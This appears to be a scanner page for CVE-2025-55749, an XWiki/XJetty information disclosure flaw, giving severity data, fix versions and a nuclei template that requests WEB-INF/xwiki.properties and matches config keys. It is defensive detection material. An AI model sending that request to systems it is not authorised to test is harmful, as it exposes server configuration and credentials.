XWiki - Information Disclosure

highseverity

7.5CVSS score

1.6%likelihood of exploitation, next 30 days

76%of all CVEs are less likely

Readycheck to confirm it

XWiki 16.7.0 to 16.10.11, 17.4.4, and 17.7.0 using XJetty contains an information disclosure vulnerability caused by exposed context allowing static access to files in webapp/ folder, letting attackers access sensitive files, exploit requires use of XJetty package.

Impact

Attackers can access sensitive files including credentials, leading to information disclosure.

Fix

Update to versions 16.10.11, 17.4.4, or 17.7.0 or later.

How to confirm it

Send: GET {{BaseURL}}/webapps/xwiki/WEB-INF/xwiki.properties
Positive when: contains in response "diff.xml.dataURI" and "core.renderingcache.enabled" AND status 200

Run it with nuclei: nuclei -id CVE-2025-55749 -u <target>

The full check

id: CVE-2025-55749

info:
  name: XWiki - Information Disclosure
  author: DhiyaneshDk
  severity: high
  description: |
    XWiki 16.7.0 to 16.10.11, 17.4.4, and 17.7.0 using XJetty contains an information disclosure vulnerability caused by exposed context allowing static access to files in webapp/ folder, letting attackers access sensitive files, exploit requires use of XJetty package.
  impact: |
    Attackers can access sensitive files including credentials, leading to information disclosure.
  remediation: |
    Update to versions 16.10.11, 17.4.4, or 17.7.0 or later.
  reference:
    - https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-53gx-j3p6-2rw9
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55749
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-55749
    epss-score: 0.01577
    epss-percentile: 0.75684
    cwe-id: CWE-284
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="XWIKI-Platform"
  tags: cve,cve2025,xwiki,exposure,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/webapps/xwiki/WEB-INF/xwiki.properties"

    matchers-condition: and
    matchers:
      - type: word
        part: response
        words:
          - "diff.xml.dataURI"
          - "core.renderingcache.enabled"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from